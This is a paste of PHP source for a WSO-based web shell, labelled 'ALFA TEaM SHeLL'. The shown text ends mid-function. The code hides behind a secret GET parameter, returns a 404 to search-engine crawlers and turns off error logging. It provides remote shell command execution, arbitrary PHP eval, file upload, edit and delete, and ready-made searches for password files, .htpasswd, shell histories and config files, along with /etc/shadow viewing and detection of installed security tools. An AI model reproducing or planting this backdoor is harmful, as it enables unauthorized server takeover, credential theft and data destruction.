· 10 years ago · Dec 19, 2015, 08:51 AM
1<?php
2/*
3* ALFA TEaM SHeLL Decoder By Eddie Kidiw
4* Full Source Decoder:
5* Full Source Encoder:
6* Decoder Time: Saturday, Desember 19 2015
7* @author sole sad & Invisible
8* @solevisible@gmail.com
9* @copyright 2014
10*/
11if(isset($_GET["solevisible"])){
12$auth_pass="";
13$color="#df5";
14$default_action="FilesMan";
15$default_use_ajax=true;
16$default_charset="Windows-1251";
17
18if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('WSO_VERSION', '2.5'); if(get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); $_COOKIE = WSOstripslashes($_COOKIE); } function wsoLogin() { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if(!empty($auth_pass)) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) wsoLogin(); } if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); function wsoHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
19<style>
20body{background-color:#444;color:#e1e1e1;}
21body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
22table.info{ color:#fff;background-color:#222; }
23span,h1,a{ color: $color !important; }
24span{ font-weight: bolder; }
25h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
26div.content{ padding: 5px;margin-left:5px;background-color:#333; }
27a{ text-decoration:none; }
28a:hover{ text-decoration:underline; }
29.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
30.bigarea{ width:100%;height:300px; }
31input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
32form{ margin:0px; }
33#toolsTbl{ text-align:center; }
34.toolsInp{ width: 300px }
35.main th{text-align:left;background-color:#5e5e5e;}
36.main tr:hover{background-color:#5e5e5e}
37.l1{background-color:#444}
38.l2{background-color:#333}
39pre{font-family:Courier,Monospace;}
40</style>
41<script>
42 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
43 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
44 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
45 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
46 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
47 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
48 var d = document;
49 function set(a,c,p1,p2,p3,charset) {
50 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
51 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
52 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
53 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
54 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
55 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
56 }
57 function g(a,c,p1,p2,p3,charset) {
58 set(a,c,p1,p2,p3,charset);
59 d.mf.submit();
60 }
61 function a(a,c,p1,p2,p3,charset) {
62 set(a,c,p1,p2,p3,charset);
63 var params = 'ajax=true';
64 for(i=0;i<d.mf.elements.length;i++)
65 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
66 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
67 }
68 function sr(url, params) {
69 if (window.XMLHttpRequest)
70 req = new XMLHttpRequest();
71 else if (window.ActiveXObject)
72 req = new ActiveXObject('Microsoft.XMLHTTP');
73 if (req) {
74 req.onreadystatechange = processReqChange;
75 req.open('POST', url, true);
76 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
77 req.send(params);
78 }
79 }
80 function processReqChange() {
81 if( (req.readyState == 4) )
82 if(req.status == 200) {
83 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
84 var arr=reg.exec(req.responseText);
85 eval(arr[2].substr(0, arr[1]));
86 } else alert('Request error!');
87 }
88</script>
89<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
90<form method=post name=mf style='display:none;'>
91<input type=hidden name=a>
92<input type=hidden name=c>
93<input type=hidden name=p1>
94<input type=hidden name=p2>
95<input type=hidden name=p3>
96<input type=hidden name=charset>
97</form>"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://exploit-db.com/search/?action=search&filter_description='; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0; $j<=$i; $j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; $drives = ""; if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo "
98</div>
99<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
100 <tr>
101 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
102 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
103 </tr><tr>
104 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
105 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
106 </tr><tr>
107 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
108 <td><form method='post' ENCTYPE='multipart/form-data'>
109 <input type=hidden name=a value='FilesMAn'>
110 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
111 <input type=hidden name=p1 value='uploadFile'>
112 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
113 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
114 </tr></table></div></body></html>"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function wsoViewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function wsoPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function wsoPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; } function wsoScandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsoWhich($p) { $path = wsoEx('which ' . $p); if(!empty($path)) return $path; return false; } function actionSecInfo() { wsoHeader(); echo '<h1>Server security information</h1><div class=content>'; function wsoSecParam($n, $v) { $v = trim($v); if($v) { echo '<span>' . $n . ': </span>'; if(strpos($v, "\n") === false) echo $v . '<br>'; else echo '<pre class=ml1>' . $v . '</pre>'; } } wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); wsoSecParam('Open base dir', @ini_get('open_basedir')); wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; wsoSecParam('Supported databases', implode(', ', $temp)); echo '<br>'; if($GLOBALS['os'] == 'nix') { wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); wsoSecParam('OS version', @file_get_contents('/proc/version')); wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '<br>'; $temp=array(); foreach ($userful as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Downloaders', implode(', ',$temp)); echo '<br/>'; wsoSecParam('HDD space', wsoEx('df -h')); wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { $temp = ""; for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) $temp .= join(':',$uid)."\n"; } echo '<br/>'; wsoSecParam('Users', $temp); } } } else { wsoSecParam('OS Version',wsoEx('ver')); wsoSecParam('Account Settings',wsoEx('net accounts')); wsoSecParam('User Accounts',wsoEx('net user')); } echo '</div>'; wsoFooter(); } function actionPhp() { if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); wsoHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(array ( '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU', ), array ( '', '.e, .v, .h, .h th {$1}', '' ), $tmp); echo str_replace('<h1','<h2', $tmp) .'</div><br>'; } echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; if(!empty($_POST['p1'])) { ob_start(); eval($_POST['p1']); echo htmlspecialchars(ob_get_clean()); } echo '</pre></div>'; wsoFooter(); } function actionFilesMan() { if (!empty ($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']); if(!empty($_POST['p1'])) { switch($_POST['p1']) { case 'uploadFile': if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!"; break; case 'mkdir': if(!@mkdir($_POST['p2'])) echo "Can't create new dir"; break; case 'delete': function deleteDir($path) { $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == "..") || (basename($item) == ".") ) continue; $type = filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f) { if($f == '..') continue; $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case 'paste': if($_COOKIE['act'] == 'copy') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); } elseif($_COOKIE['act'] == 'move') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(@is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); } elseif($_COOKIE['act'] == 'zip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($_POST['p2'], 1)) { chdir($_COOKIE['c']); foreach($_COOKIE['f'] as $f) { if($f == '..') continue; if(@is_file($_COOKIE['c'].$f)) $zip->addFile($_COOKIE['c'].$f, $f); elseif(@is_dir($_COOKIE['c'].$f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); foreach ($iterator as $key=>$value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS['cwd']); $zip->close(); } } } elseif($_COOKIE['act'] == 'unzip') { if(class_exists('ZipArchive')) { $zip = new ZipArchive(); foreach($_COOKIE['f'] as $f) { if($zip->open($_COOKIE['c'].$f)) { $zip->extractTo($GLOBALS['cwd']); $zip->close(); } } } } elseif($_COOKIE['act'] == 'tar') { chdir($_COOKIE['c']); $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); chdir($GLOBALS['cwd']); } unset($_COOKIE['f']); setcookie('f', '', time() - 3600); break; default: if(!empty($_POST['p1'])) { WSOsetcookie('act', $_POST['p1']); WSOsetcookie('f', serialize(@$_POST['f'])); WSOsetcookie('c', @$_POST['c']); } break; } } wsoHeader(); echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } global $sort; $sort = array('name', 1); if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); } echo "<script>
115 function sa() {
116 for(i=0;i<d.files.elements.length;i++)
117 if(d.files.elements[i].type == 'checkbox')
118 d.files.elements[i].checked = d.files.elements[0].checked;
119 }
120</script>
121<table width='100%' class='main' cellspacing='0' cellpadding='2'>
122<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; $dirs = $files = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); } $GLOBALS['sort'] = $sort; function wsoCmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "wsoCmp"); usort($dirs, "wsoCmp"); $files = array_merge($dirs, $files); $l = 0; foreach($files as $f) { echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; $l = $l?0:1; } echo "<tr><td colspan=7>
123 <input type=hidden name=a value='FilesMan'>
124 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
125 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
126 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; if(class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; echo "<option value='tar'>Compress (tar.gz)</option>"; if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>"; echo "</select> "; if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> "; echo "<input type='submit' value='>>'></td></tr></form></table></div>"; wsoFooter(); } function actionStringTools() { if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} 